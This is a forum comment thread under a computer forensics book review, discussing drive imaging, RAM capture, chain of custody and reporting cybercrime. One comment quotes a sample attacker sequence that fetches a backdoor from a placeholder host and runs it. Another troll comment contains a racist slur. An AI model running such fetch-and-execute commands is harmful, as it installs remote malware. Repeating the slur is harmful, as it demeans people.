      In that case, (honest question) wouldn't it make more sense to contact the fraud dept. of CC and let them take care of steps to prosecution? Or are they equally unresponsive?

    2. Re:Been there, done that. by wwest4 · · Score: 1

      Never mind, just reread your post and realized why that was probably a dumb question :)

    3. Re:Been there, done that. by HarveyBirdman · · Score: 3, Insightful
      Well, someone jacks my CC number, I'm on the hook for a max of $50.

      A drunken minor behind the wheel of mom's Ford Excursion costs me far, far more than that should I encounter the illbred little monster on the road.

      Hey, just presenting a contrarian view. Was it at least an interesting learning experience?

      --
      --- Ban humanity.
    4. Re:Been there, done that. by rylin · · Score: 0

      Doesn't matter, you still make a good point ;)
      The report was filed by several bigtime companies here (think plane tickets, train tickets and hardware that more often than not starts with a lower-case i).
      The PD combined it all into one nice case, yet they were unable to actually send a unit?
      It's times like these when I wonder where my tax-payer money actually goes.

      From what the e-commerce sites told me (along with the screen-dumps I took when another retailer called us up directly), we're easily talking $10k+ per incident - and I know the bad guy by name and face.

    5. Re:Been there, done that. by rylin · · Score: 1, Funny

      Interesting and educating?
      Definitely!

      Without trying to sound.. weird.. I wish it'd happen again ;)
      It was definitely a few days with something worthwhile and different to do, even if it didn't mean anything in the end.

      The adrenaline rush I got when standing three meters away from the baddie while talking to the police officer on the phone was intense.
      I don't think I've ever appreciated shaded window-glass as much as I did at the time :P

    6. Re:Been there, done that. by wwest4 · · Score: 1

      You pay for that $50 "deductible" in other ways. Plus, any deterrence value the law had is gone if it's not enforced.

    7. Re:Been there, done that. by bani · · Score: 1

      go to the media. a nice story on the local tv news station should get results, including on-air interviews from angry companies victimized by the perp.

    8. Re:Been there, done that. by Anonymous Coward · · Score: 0

      So why did the police bother to ask him at all?

      As I read it, they approached him (probably told to by higher ups), he did the legwork and suddenly they literally couldn't be bothered pick the guy up IN THE ACT.

      Imagine seeing a guy breaking into a car and grabbing the nearest cop who just says "Oh yeah. He does that" and walks away.

      The learning experience: don't bother to call the cops.

    9. Re:Been there, done that. by The_K4 · · Score: 1

      Do you still let him use yuour terminals?!?

    10. Re:Been there, done that. by Anonymous Coward · · Score: 0

      They probably have plenty of manpower, just not well educated, trained, experienced or equipped to handle such a case. So they figure it's a waste of time.

      They probably did EXACTLY what they were told to do, either by some court order or request from some other agency and left it at that because they don't know any better.

    11. Re:Been there, done that. by JianTian13 · · Score: 1

      Local PD contacted you? And then didn't follow up? Something doesn't ring quite right there, but whatever...

      Look, depending on the dollar amounts involved, the FBI might be interested. Done on the internet, it's almost certainly interstate commerce, so give 'em a call.

      Alternatively, take a photo of the bastard in process, and post it on a big sign saying "This guys steals credit card numbers!" -- Then let the victims meet him in the back alley as he runs away...

    12. Re:Been there, done that. by Anonymous Coward · · Score: 0

      How about MOM behind the wheel of mom's Ford Excursion with some golf balls bouncing off the roof.

    13. Re:Been there, done that. by HappyRonin · · Score: 1

      50 bucks....and a shitpot of hassle. Guess what, the credit card companies don't eat that loss, they push it back to the vendor. How do they respond. They dispute it, claim it was legit, try to put it back on, etc. So, $50 is just the start of the battle.

    14. Re:Been there, done that. by rylin · · Score: 1

      Wrong country, sorry buddy ;)

    15. Re:Been there, done that. by pedrop357 · · Score: 1

      He's not complaining that the police are chasing drunk drivers instead of handling his CC problem, he's complaining that the police would rather spend their time chasing people whose sole crime is drinking a beer. There is a world of difference between drinking, and driving drunk. Most of the people, of any age, who drink, won't necessarily get drunk and most of them will not drive afterwards. Drinking != driving drunk.

      If it were drunk drivers, I would agree that they are a higher priority target then the CC thief. If it's people under 21 who are only drinking, then I believe that the CC issue is of higher priority.

      To recap, a drunk driver of any age is a higher priority threat then a CC thief, and a person of any age merely drinking is a lower priority threat then the CC thief.

    16. Re:Been there, done that. by mwood · · Score: 1

      Hey, if you have evidence of a crime being committed across state lines, do what that other guy did and get the FBI involved. Maybe that'll wake the locals up.

  11. outdated? by Boolio · · Score: 5, Insightful

    The publication date on the book linked is 2001. That makes this book three to four years old. While some of the information may be the same, there are quite a number of new tools and techniques out there. So some of this may be pretty outdated. I have yet to find a great book on system forensics. The best so far is the book "Know Your Enemy" buy contributors to the HoneyNey Project.

    1. Re:outdated? by Omega1045 · · Score: 1

      I agree. If you want to be up to date on foresics and security, plan on buying a lot of books and subscribing to a lot of lists.

      --

      Great ideas often receive violent opposition from mediocre minds. - Albert Einstein

    2. Re:outdated? by Anonymous Coward · · Score: 0

      There is also a new edition of this book coming out in 2005. It will be more updated and probably come with a CD full of utilities and whatnot to play with.

  12. step 1... by deemzzzz_k · · Score: 1

    Step 1 - append record of a security breach to the last invoice from Microsoft. Send to MS happy CTO filed under - extra features we didn't even know we paid for...

    1. Re:step 1... by Anonymous Coward · · Score: 1, Informative

      If you're that worried about having anything behind your firewalls compromised, you're usually not going to give that information to MS. Rather, send complaints to whoever sold you your broken firewall software.
      Oh, and if it's because of an email-based virus or some such problem, fire your security team and sysadmin, they don't know what they're doing.
      You should know better than to randomly make digs at MS. Yes, they have security holes. I know you don't like IE. But Firefox too has had its problems, as has pretty much any other browser. That's why we patch them. Really, if you're running a box that hasn't been patched in months or years (regardless of OS), have an ineffective firewall, or have no firewall at all, you deserve everything you get. Windows and any Linux distro should be logically equivalent from a user's standpoint. You can make a Windows box as safe on a network as you can Linux, BSD, OS X, or any other OS. Windows has end-user control like you would find on any UNIX-based system. It's called GPO. It allows you to set rules as to what users can and can't do (think: installing software, writing to the registry). This stops pretty much all adware, spyware, and malware in its tracks, as you would have to manually start it each time you start your system. Throw in some AV software for an extra layer of security, patch your systems with SMS, and you're set. Now, pretty much any OS will have similar tools. People tend to use those tools more frequently when they're not using Windows, for some reason. Can you blame MS for writing tools that aren't used by lazy sysadmins?

    2. Re:step 1... by Anonymous Coward · · Score: 0

      Translation: if your budget is big enough you can make Windows almost as secure as Linux.

  13. This is dangerous stuff to mess around with... by Pacifix · · Score: 5, Insightful

    ... like security, forensics is best left to those who really know what they're doing. The results of a forensics investigation can very often end up being part of a civil or criminal case and amature mistakes can get the case thrown out. Contaminating the data by not properly imaging it, not knowing where to find hidden data, or misinterpreting what is found are all very easy to do. Be very sure you have all your bases covered before selling yourself as a forensic investigator.

    1. Re:This is dangerous stuff to mess around with... by -strix- · · Score: 3, Interesting

      thats true. I tooke a computer forensics class at my school about a year and a half ago, it was a great class and this book was one of the ones we used. One of the main points our professor drove home was properly maintiaing a chain of evidence. This is something that would be second nature to a criminal justice major but is pretty foreign to someone in computer science. As far as being a forensic investigator, i would look for a GIAC Certified Forensic Analyst certifcation. I know that alot of people are dubious about how much stock they put in certifications but this is really a good one. To date there are only 124 people who have obtained this certification. more info about it here: http://www.giac.org/GCFA.php

    2. Re:This is dangerous stuff to mess around with... by Anonymous Coward · · Score: 0

      "... like security, forensics is best left to those who really know what they're doing."

      Yes, and reading some books is a good place to start.

      "Be very sure you have all your bases covered before selling yourself as a forensic investigator."

      You often don't have a choice: when someone breaks into your machines, you have to make some decisions right away. The more information you have, the better.

  14. An actual example of corporate breaches. by pjbass · · Score: 4, Interesting

    I work at a large semiconductor company (not to name names, but a really big, US, SC-based one) that had a recently fired employee wreak havoc on one of the factories' databases as a result of his termination. Basically he used his not-yet-cancelled remote access, and deleted a critical DB. Now this isn't hacking in the sense of rooting a remote exploit, but it's malicious intent nonetheless on computer systems. It was obvious what happened (the factory stopped running), and very quickly we were able to track down the last few commands logged, where they came from, etc., etc. How it was handled was actually an FBI case. We turned it over to the security department at our company, and they worked with the FBI; we were asked questions by the men in black, and this person was eventually arrested and put away in a dark, dank hole.

    Not sure if this is the norm, but I'd figure when corporations and expensive IP is involved, government-sanctioned agencies will be in the forefront of people investigating, IMHO.

    1. Re:An actual example of corporate breaches. by Anonymous Coward · · Score: 0

      looks like you mixed up elements of the randall schwartz case with elements of the david dugan case.

  15. Available distro... by Anonymous Coward · · Score: 0
    For those not aware, "Helix" at 'e-fense.com' is already prepackaged.

    /careful not to link due to /. effect

  16. It's not easy by penguinoid · · Score: 2, Interesting

    The problem with computer crimes is that they are not easy to track. On a regular PC, a cracker could break in and remove any evidence (on that PC) that the computer was ever hacked. You might catch him if you happen to be looking while he is busy, but after he is finished, there is not much you can do.

    There are, however, some hardware solutions, namely, to keep track of everything that happens (this is expensive!). Software could also do that, so long at it cannot be hacked. Overall, I think the best thing to do is to keep a backup inaccessible from the network, and hope no sensitive information gets stolen.

    --
    Don't waste your vote! Vote for whoever you want, unless you live in a swing state it won't matter anyways
    1. Re:It's not easy by finnw · · Score: 1

      Logging everything, over a serial cable, to another machine that just appends it to a file, is not expensive and not easy to tamper with.

      --
      Is Betteridge's Law of Headlines Correct?
    2. Re:It's not easy by Anonymous Coward · · Score: 0

      You're wrong. On a regular system (whether it is a PC or other architecture), a cracker is very unlikely to be able to break in and remove all evidence from that PC unless he has broken in locally. If he has broken in remotely, it is almost impossible to remove all evidence. Deleted files aren't really deleted, IDS logs evidence somewhere other than the comprimised system, crackers make mistakes, etc. Most crackers just aren't sophisticated enough to remove all evidence of their entry and use of a system (though a fair amount of forensic investigators probably aren't sophisticated enough to find and assimilate the evidence, too).

    3. Re:It's not easy by Lehk228 · · Score: 1

      usually tey don't need to hide everything, often enough they are proxied through either an untouchable foreign machine or a compromised broadband machine, which has little in the way of event monitoring which would point to the true culprit (or another 'splioted box in the chain)

      --
      Snowden and Manning are heroes.
  17. The computer is the victim. by eln · · Score: 4, Funny

    Whenever you do work like this on computers, it's important to know that the computer is ultimately the victim here. Don't be too rough with it in trying to get information. It's important to get information back, but it's also very important to maintain the computer's well-being. Always ask before taking a look at the computer's hard drives. If the computer refuses, back off and try again another day. After being so traumatized, many computers will not feel comfortable letting you in right away. In some cases, gender may be an issue, so always use female-to-female or male-to-male data cables when attempting to access the computer's internal ports, as recently attacked computers may have more hostility toward opposite-gender pairings in interrogations.

    Please, always make the computer your first priority, and be mindful that you do not damage it further in your rush to make an arrest.

    1. Re:The computer is the victim. by Anonymous Coward · · Score: 0

      Male-to Male?

      Ewwwwwwwwwwwwwwwww.

    2. Re:The computer is the victim. by Anonymous Coward · · Score: 0

      Yeah? Did you see the mod case that server was dressed in? It was asking for it...

  18. Step 1 by Kallahar · · Score: 3, Insightful

    Step 1: Turn off the machine.
    Step 2: Make a bit for bit copy of the drive (there are special devices that will ensure that NONE of the bits are changed).
    Step 3: You can now run whatever forensics tools you want *on the copy*. The original has to be kept unchanged for it to be worth anything in court.

    Make sure to never boot up the drive in question, a good criminal will have the drive auto-erase if it doesn't get a password in a certain amount of time, etc.

    1. Re:Step 1 by Anonymous Coward · · Score: 0

      Actually, you left out a few things.

      1. BEFORE powering off the machine, attempt to do a disc-to-disc copy with professional forensic software that is capable of reading the contents of RAM. If you reboot the machine, the valuable contents in memory is destroyed.

      2. Boot the machine in "READ-ONLY" mode, to prevent logfile timestamps and other file timestamps to change, as well as preventing boot-time viruses. Lots of forensic software and hardware contain the abillity to do this.

      3. As said above, do a "bit-for-bit" copy of the machine. Best to use software like EnCase, which can enable you to do a realtime forensic analysis and to make a copy of the disc that can be booted in VMWare.

    2. Re:Step 1 by jschottm · · Score: 1

      That'll catch a good number of attackers, but if I were doing serious blackhat stuff and had rooted a production *nix server, I'd keep all my nasty stuff in RAM at all times to avoid having anything caught on hard drive. (Yes, that also includes specifically preventing swapping to disc.) Combined with some good tactics against insertable media, it's possible to make it very hard to leave traces on a system.

    3. Re:Step 1 by Anonymous Coward · · Score: 0

      Uhm, FIRST you should collect as much data from RAM as you practically can.

      For forensics 101, I recommend: log in at the console and collect stuff like: open connections, running processes, logged-in users, from *multiple programs*, possibly running off a CD or thumb drive, and copy those files to another machine.

      THEN you can image the drive.

      For more advanced forensics you need specialized tools, but this is good for most small biz sysadmins out there.

      DO NOT just shut it off without collecting some data first. Even the dumbest script kiddie know how to do:

      wget some.other.host/backdoor
      chmod +x backdoor ./backdoor &
      rm backdoor

      (heh, well maybe not the DUMBEST, I've seen some pretty dumb shit out there, kiddiez are generally morons)

    4. Re:Step 1 by towaz · · Score: 4, Informative

      I would not just kill the machine yet either. As long as you document your findings and what you do to the system (with witnesses) you can do a few things first.

      On the live system you can not trust anything so a cd or other media containing your tools statically compiled to investigate are needed.

      you can use dd to make a bit for bit copy of ram, pipe this through netcat to your forensics box, or cryptcat is sensitive info is on the compromised machine.
      A good idea would also be to calculate an md5 checksum for the image either side of the netcat pipe to verify its not messed up.

      then run lsof to check what ports are open and by what applications and pull the plug out the wall on the compromised host.

      then make sure boot priority in the bios does not boot the hdd in question and run knoppix or something like F.I.R.E and run md5 on the drive, pipe it to your machine with nc and then md5 that image.

      I know i missed something but am on the phone so i guess will wait to get flammed :)

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - Voltaire
    5. Re:Step 1 by Anonymous Coward · · Score: 0

      Step 1: Turn off the machine.
      Step 2: Make a bit for bit copy of the drive (there are special devices that will ensure that NONE of the bits are changed).
      Step 3: You can now run whatever forensics tools you want *on the copy*. The original has to be kept unchanged for it to be worth anything in court.


      There are cheap, very secure encryption packages (like DriveCrypt) that will scramble the entire hard drive to the point that any forensics work won't be able to tell what OS is on the computer, much less what's in the browser cache. In this case, turning the computer off just guarantees that nothing will be recovered without the keys.

      Make sure to never boot up the drive in question, a good criminal will have the drive auto-erase if it doesn't get a password in a certain amount of time, etc.

      These forensic techniques will work against the ignorant or incompetent, but any criminal with an ounce of sense has little to fear from having his computer seized or hard drive copied. I suppose there's always social engineering (pliers & a blowtorch), or a contempt of court charge (?, IANAL) for refusing to give up his keys. But simply grabbing the bits doesn't do much good in a world with strong encryption so readily available.

    6. Re:Step 1 by Mind+Socket · · Score: 1
      Step 1: Turn off the machine.
      A very good criminal might store evidence in memory and then you'll erase things for him/her in step 1 (or at least make it much more difficult to recover). What if the hard disk is encrypted and the key was sitting there in memory when it was seized?
    7. Re:Step 1 by r2q2 · · Score: 2, Insightful

      According to other posts and common sence because you are accessing the computer the hard disk is being modified. Using dd and other tools on the running computer will possibly modify the drive and make your evidence invalid.

      --
      My UID is prime is yours?
    8. Re:Step 1 by towaz · · Score: 1

      As long as its well documented on what you do while the system is live they is no issue when you finally pull the plug on the drive.

      I understand what you mean about changing things but its not common sense that dd would change anything on the hdd during imaging. When you take a snapshot of the ram on the live system your also using an md5 hash of the image before and after which can be verified in court to show no tampering of the evidence from the infected host to your evidence locker.

      After when imaging the drive you can also run md5 on the hdd in question and then again on your image you collected using dd.

      I know they are the collision issues with md5 hashes but its still far off saying the md5 hashes match but the evidence is still tampered with.... show me evidence that dd does indeed change things and I will reconsider this (I don't mean user error with dd either as hashes will verify that mistake).

      Take for instance the slammer worm. the worm only stays in memory so pulling the plug on a live system is pointless... you could get some amount of info from the swapfile (still doubtful) but you would have nothing to show it was infected to begin with.

      I am fully aware slammer was noisy as hell with traffic generation but if it was something different you would be in trouble.

      --

      --
      "I disapprove of what you say, but I will defend to the death your right to say it." - Voltaire
    9. Re:Step 1 by Kallahar · · Score: 1

      Hmm, good point. Any suggestions to catch a ram-only rootkit?

    10. Re:Step 1 by jschottm · · Score: 1

      If the person who wrote the ram-only rootkit is a master of mojo, it's very hard. If I were doing something like that and was more concerned with not getting caught than maintaining a hold on the system, I'd design it to wipe itself from memory the instant anyone elevated their priviledges to root.

      There's always a chance is that they got sloppy with _something_ and forgot to prevent some part of it from swapping to disc. If they're not paranoid enough to dump as soon as anyone becomes a superuser, theoretically if you can gain access to all of the RAM you can scan it for suspicious activity. At which point it becomes a test of whether the attacker modified the entire RAM subsystem to _not_ allow access to the location of the malware.

      What does have potential for catching such a beast is running your server (ie the software that's most likely to offer a way into the system) using virtualization (be it VMWare or whathave you). Then you have the option of saving the entire image to hard drive, which you can then analyze at your leisure. Assuming that you can keep the underlying system safe as well.

      You can also protect yourself by using network level logging to catch suspicious activity that rooting a box and modifying its logs can't cover over unless they completely run amuck on your entire infrastructure.

  19. Privacy protection -- closely linked by shashark · · Score: 1

    Aint privacy protection closely linked with forensics ? I believe there's a very thin line seperating the two. We all know hostile computer forensics does exist -- how to prevent that from happening should be an equally important issue...

  20. Transfering for forensics by Kalak · · Score: 3, Informative

    Rsync will do this simply and efficiently, plus it can resume transfers and also tunnel through ssh.

    Also you can pipe dd through gzip/bzip2 and netcat to give you a loopback mountable, unmodifiable image that you can look at in case you want to grab the whole drive before putting it in the evidence locker.

    --
    I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    1. Re:Transfering for forensics by GigsVT · · Score: 1

      An rsync transfer probably wouldn't stand up to cross-examination, since by its nature it can modify data it copies. You might get away with it, but there's so many variables that it would be very difficult.

      Forensics people sometimes use special hardware that makes it physically impossible to modify the original image (i.e. read only in hardware), then do a bit by bit copy. Then it's very easy to say, "There's no way this data could have been modified on the original drive".

      Lacking that, they might use dd on an unmounted drive to do a bit-by-bit copy. It's harder to prove nothing modified the original image though.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    2. Re:Transfering for forensics by Creepy+Crawler · · Score: 1

      ---Forensics people sometimes use special hardware that makes it physically impossible to modify the original image (i.e. read only in hardware), then do a bit by bit copy. Then it's very easy to say, "There's no way this data could have been modified on the original drive".

      Hey, my boss isnt here, so I can give you the reduced rate on non-writing IDE hardware so you too can perform advanced forensics. The hardware is only $99.95 and you're given 3 cables*** for this patented circuit board.

      ***The circuit board does nothing. The IDE cables have the write lines clipped ;P

      --
    3. Re:Transfering for forensics by GigsVT · · Score: 1

      :) ...

      We'll I assumed it was something trivial, but I've seen it sold as a sort of device that has IDE/SCSI/etc .. SCSI is harder isn't it?

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    4. Re:Transfering for forensics by Creepy+Crawler · · Score: 1

      Well, I've not had any individual scsi devices I needed to protect (as in forensics). Most of my cases are IDE devices, though I do sell scsi devices.

      The only source I can find at the moment is the SCSI spec sheets that require payola ;( I'm sure there's some open-source scsi guy who has them..

      --
    5. Re:Transfering for forensics by Kalak · · Score: 1

      While rsync can modify the read time on the data, it's no more so than the tar/netcat that the reviewer is saying is suggested (tar reads the data to create the tarball as well).

      Court forensics would have to add the same write protection that would be used forany such tool that would be used. rsync would not be a replacemnt for those devices/tools.

      --
      I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    6. Re:Transfering for forensics by Kalak · · Score: 1

      I hope you're selling other products, or you've got another job lined up, since you're probably cutting into your sales with that. Thanks for the tip though.

      --
      I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
    7. Re:Transfering for forensics by tlhIngan · · Score: 1

      Um, IIRC, IDE is I/O command based. You *need* the write line in order to write to the registers that tell the drive what sector to read (as well as telling it what to do - read/write/reset/get ID etc). (And IDE is really a modification of the ISA bus (not talking about the latest ATA-5 spec, or even DMA modes, just plain old backwards-compatible IDE), since the drive has its controller built in).

      That's not to say there aren't devices that do securely do read-only access (and other handheld devices that can serve as a USB, Firewire adapter, RAID array controller, etc, plus a variety of standalone functions (zero drive, secure erase drive, copy drive, etc) so that you really only have to connect the suspect drive up, make a copy, remove suspect drive, plug in computer to box, and examine away...

    8. Re:Transfering for forensics by Creepy+Crawler · · Score: 1

      You ever try to cut the write line on an IDE device?

      Never the less the bus schematics or stuff, it allows read-only access to the drive. Or it seemed it couldnt change the data.. But it's just me and these cables I made for that exact purpose.

      --
  21. If you've got a problem, if no one else can help, by Ingolfke · · Score: 2, Funny

    and if i you can find them. Call the A-team.

  22. Valve by FiReaNGeL · · Score: 4, Interesting

    In the case of HL2 code theft, Valve got lucky; they just had to wait for the hacker's ego to blow out of proportion due to the massive coverage. He emailed them. Several times. He went to a meeting for an 'interview' for a 'job'. Thank god, most hackers(as in illicit network infiltration) / criminals eventually make mistakes. In this particular case, it was pure dumbness, however. Imagine the scene :

    "Honey, you know the company that I (big F word, past tense) over, well, they're offering me a JOB!" "Great! When are we moving?"
    Heh.
    past /. coverage
  23. How would you cooperate with law enforcement? by RealAlaskan · · Score: 4, Funny
    How would you cooperate with law enforcement when a crime has been committed on a computer?

    Wouldn't that depend on your role in the crime, and your lawyer's advice?

    1. Re: How would you cooperate with law enforcement? by matthewcraig · · Score: 1

      Odd this was modded Funny. You'd better consider consulting a lawyer when involved with a criminal investigation. I hope the book has a chapter on when to simply use your company's law representation and when it makes sense to contact independent council. You better believe your company is using thier legal resources (and maybe considering their case against you!)

    2. Re: How would you cooperate with law enforcement? by nels_tomlinson · · Score: 1
      Yes, I wasn't totally joking (posting from my other ID). If it's important enough to call the cops, it's important enough to get your lawyer involved. If it's your business, he can help you get the cops to take action (maybe) and help deal with the insurance company's lawyers. Most of all, he can reduce the chances of you doing something stupid.

      If you're an employee, you can bet that the corp's lawyers are going to be involved, and they are going to be safeguarding the corp's interests, at your expense, if need be. Remember, if you haven't paid the lawyer out of your own pocket, he doesn't represent you, and is not on your side, no matter what he may imply. If the corp has their lawyers present when you make a statement to the cops, you are not represented by council! If the corp needs a lawyer, so do you.

  24. WWYD? STFD, STFU, and DWYT. by Tackhead · · Score: 4, Insightful
    > How would you cooperate with law enforcement when a crime has been committed on a computer?

    I would do whatever the nice people with the guns told me to. Nothing more, and nothing less.

    The guys with the guns are not my friends, but they're pretty nice to people who help them. The most helpful thing you can do for these people is to sit the fuck down, shut the fuck up, and to do what you're told.

    Unless you're being paid to perform an investigation, getting good forensic data off that drive is not your responsibility. That's the responsibility of the friends of the guys with the guns. (Are you a friend? Easy to check! Is your paycheck signed by a big guy with a really big gun? If not, you are not one of their friends!)

    Going further, getting data off the drive isn't your responsibility -- but not fucking up the chain of custody is your responsibility. If you fuck up the chain of custody, the guys with the guns will be very, very, very angry with you. (You do not want this to happen.)

    So:
    1) Do not make the people with guns angry.
    2) Do not "help" the people with guns (even if you want to), because anything you do to "help" them runs the risk of making them angry.
    3) STFD. STFU. DWYT.

    Y'know how we geeks have hundreds of words to express the concept of "nontechnical person who is too clueless to be allowed anywhere near a computer"?

    I'll bet cops have hundreds of words that translate to "civilian who is too clueless to be allowed anywhere near an ongoing investigation".

  25. Very popular toolkit by jgercken · · Score: 2, Interesting
    --
    Never ascribe to malice what can be adequately attributed to ignorance. -Napoleon
  26. Computers. Programming. Security. Ethics. by Anonymous Coward · · Score: 0

    It's all here.

    http://www.rawstory.com/images/pdfs/CC_Affidavit _1 20604.pdf

  27. DONT turn off the machine by wsanders · · Score: 1

    >>>> ... a good criminal will have the drive auto-erase if it doesn't get a password in a certain amount of time, etc.

    A good criminal will have the machine be sure to delete every trace of evidence if it reboots or power cycles.

    Secure the machine to avoid further damage, but don't just yank the power cord out of the wall.

    --
    Give a man a fish and you have fed him for today. Teach a man to fish, and he'll say "WHERE'S MY FISH, YOU IDIOT?"
    1. Re:DONT turn off the machine by Requiem+Aristos · · Score: 1

      Err... what?

      When the power is cut, the computer does not have the ability to do any deleting. I hope you aren't suggesting that someone start up the machine afterwards, because that's the one thing you should NOT do.

      Proper procedure would be to carefully document anything you can see on the screen (what's running, programs in the taskbar/dock/etc.) Note that down in your notepad, take pictures if possible, but don't touch anything (no keyboard, no mouse, etc).

      Then you CUT the POWER. (Yes, yanking the cord will work fine.) Take a copy of the drive, and NEVER let the original drive boot up until after you're done.

    2. Re:DONT turn off the machine by Anonymous Coward · · Score: 0

      This statement is actually incorrect. As a rule, forensic investigators try to do a cold boot (including yanking the cord or just turning off the machine) due to the fact that if you run thru a warm reboot, log files will get written to and timestamps will inevitably change. The chances are slimmer during a cold reboot. This doesn't always help, but is a good rule to follow for investigations.

      Exceptions would be RAID arrays that could be damaged by the cold boot.

    3. Re:DONT turn off the machine by Anonymous Coward · · Score: 0

      "As a rule, forensic investigators try to do a cold boot (including yanking the cord or just turning off the machine) due to the fact that if you run thru a warm reboot, log files will get written to and timestamps will inevitably change."

      The term "boot" refers to the act of starting the machine. A "cold boot" is one from power-off state. A "warm reboot" is one that was carried out without removing power. The term "boot" has nothing to do with how you turn off the machine.

      The technical term for "yanking the power cable" is "yanking the power cable".

    4. Re:DONT turn off the machine by texas · · Score: 1

      yeah, but pulling power erases anything in volatile memory, so anything that had been stored in RAM and not committed to disk gets lost. That's why you don't cut power right away.

      What if all the h4x0r tools were being used from a ram-disk location?

      --
      Hey, how'd you know I was lookin' at you if you weren't lookin' at me?
    5. Re:DONT turn off the machine by Kallahar · · Score: 1

      No, that's exactly my point. Immediately stop the electrons. Make a copy of the drive and do forensics on that, keep the original safe. That way if you screw up and the drive gets erased then you can always make another copy from the original and try again.

  28. My computer is accusing me of harrasment by Timmy+D+Programmer · · Score: 1

    It says my constant fingerpoking is unwelcome!

    --


    (If at first you don't succeed, do it different next time!)
  29. this is an old ass book.. by Anonymous Coward · · Score: 2, Interesting


    why the review now?

  30. Re:fp by Anonymous Coward · · Score: 0

    I always wondered what this FP-thingy means. "Fine Print" or "Foreskin Peeling"?

    --
    Luv, Jane.
    (PS: niggers are so cute!!!)

  31. netcat has cousins by Hammor · · Score: 1

    netcat isn't the only networking tool capable of routing tars across the network.

    There is also ucspi-tcp by Dan Bernstein
    http://cr.yp.to/ucspi-tcp.html
    and Netpipes, by me
    http://web.purplefrog.com/~thoth/netpipes/

    --
    > All software is broken.
    1. Re:netcat has cousins by Anonymous Coward · · Score: 0

      I'm partial to using SSH for that myself.

      tar cf - sourceDir | gzip -c | ssh me@host 'cd destinationDir;gunzip -c | tar xvf -'

      I wonder how ssh's built in -C compression compares to using gzip.

    2. Re:netcat has cousins by dmiller · · Score: 1

      Why would you use anything other than ssh?

    3. Re:netcat has cousins by Roxy · · Score: 1
      ssh (at least OpenSSH) uses the same algorithm as gzip.

      You could also use the 'z' option to tar, which also uses gzip to compress/uncompress tar files.

      An even easier (and more portable) variant would be to use:

      scp -C -r sourceDir 'me@host:destinationDir'

      thereby bypassing the overhead of tar. Only a fast link (+100M), you could probably get better performance by skipping the compression (too much overhead). This only shows why this book is over-rated!

      --
      -- Roland Buresund MBA, MCMI, CISSP
  32. Department of Justice Forensic Guide by greyfeld · · Score: 2, Informative
    Here's a link to the Department of Justice's Forensic Guide for Law Enforcement if you are interested.

    http://www.ncjrs.org/pdffiles1/nij/199408.pdf

  33. good point, just depends on the PD by Anonymous Coward · · Score: 1, Interesting

    Assuming there are drunk drivers on the road, that's a better use of their time than spending hours on your stolen CC. Odds ore your CC was stolen overseas anyway.

    But in the little Texas town where my Mom lives, and had her identity stolen, the local PD took her case seriously and tracked down the perp in another state, and issued warrants. Not too many drunks and speeders in that little town, and since they got audited by the Dept of Justice and can't spend their time pulling over black and hispanic drivers for no reason like they used to in the good old days, they've retrained (or just fired all the good ol boys) and I guess they have the resources to check our cybercrime.

    1. Re:good point, just depends on the PD by Anonymous Coward · · Score: 0

      This is Texas. They just needed to fill their execution quota.

  34. Step One: by nurb432 · · Score: 2, Insightful

    If you have had a breach, and its going to involve *anything* legal:

    TALK TO YOUR ATTORNEY.. first.. not 2nd .. not 3rd.. do it even before you even call the cops....( well after you plug the hole... )

    --
    ---- Booth was a patriot ----
    1. Re:Step One: by deranged+unix+nut · · Score: 1

      No. Get someone trained in forensics to capture the data before you tamper with the crime scene by patching the hole.

      Depending on what you are working with, patching the hole or even unplugging the computer might destroy the crime scene.

    2. Re:Step One: by nurb432 · · Score: 1

      If that is the cost of not losing more confidential data, then so be it..

      Id not hesitate for an instant.

      Where i work the cost of the breach is MUCH higher then the potential loss of evidence or traceback. ( in my case, the admin can be *jailed* for lack of action, due to federal regulations )

      --
      ---- Booth was a patriot ----
  35. Forensics used the other way by axonal · · Score: 1

    With all these tactics to make sure the compromised systems remain unchanged, don't you think criminals could use the same information? For example, a criminal steals a laptop with sensitive information on it. He doesn't start up the computer and uses a bit-by-bit copier to make an exact duplicate of the previous hard drive. Then the computer is returned, or found. When you investigate the computer, you won't be able to tell if the information was compromised, while the criminals have their own copy of the hard drive where they can throw anything at it to get information.

    1. Re:Forensics used the other way by deranged+unix+nut · · Score: 1

      Sure, and 2600 recently had an article on this. Unfortunately, there are so many abstractions that it really is difficult and expensive to reduce the footprint of what forensics can uncover and it is almost impossible to remove all traces of evidence.

      Even if you live only in RAM and don't put anything on disk, data has been recovered from powered down RAM before. ...and at one point or another, you do want to save your data.

    2. Re:Forensics used the other way by networkBoy · · Score: 2, Interesting

      Lock the hard drive. The ATA and SCSI spec both have provisions for locking the drive's electronics to dis-allow writes or reads for the disk's data. your copy utility or machine will not work without these keys.
      HOW HDD LOCKING WORKS
      The above is a quick little write-up I did to explain to all the Xbox people who want to use/access the drive that ships with the Xbox (after they've ruined their MB or sold it on e-bay) why they are really quite screwed. This is not definitive, but it is fairly accurate in what it says.
      -nB

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    3. Re:Forensics used the other way by imsabbel · · Score: 1

      There is still CLASSICAL forensics:
      You can check if the hd was unplugged/the case opened, fingerprints inside, ect.

      --
      HI O WISE PRINCE. WHT TOOK U SO DAM LONG?
  36. Re:WWYD? STFD, STFU, and DWYT. by jgercken · · Score: 1

    So why would a Fed performing a forensic analysis be packing? You seem to be glorifying the roll a bit. It isn't sexy work, but rather slow, thorough, deliberate and methodical (read: tedius, dull, boring, lots of protocol busywork).

    --
    Never ascribe to malice what can be adequately attributed to ignorance. -Napoleon
  37. mixed feelings... by MrFreshly · · Score: 1

    While I enjoy reading these books...I can't help but cringe at the thought of the people that read one of these books and think they're a forensics expert now. There's a hell of a lot that goes into being a security guru, let alone dealing with compromised systems in a way that taint the evidence.

    There's pretty much always a way to compromise a machine and likewise, a way to counter.

    Obligatory: Microsoft just gives us more choices. :)

  38. US Gov Sites... by oliveaddict · · Score: 1

    I found a US government web site on "How to Report Internet-Related Crime". Unfortunately, the site is not as informative as I had hoped. For the most part, you are advised to contact the FBI.

    Also, Here is the US Department of Justice's web page on computer crime.

  39. Re:WWYD? STFD, STFU, and DWYT. by Anonymous Coward · · Score: 0

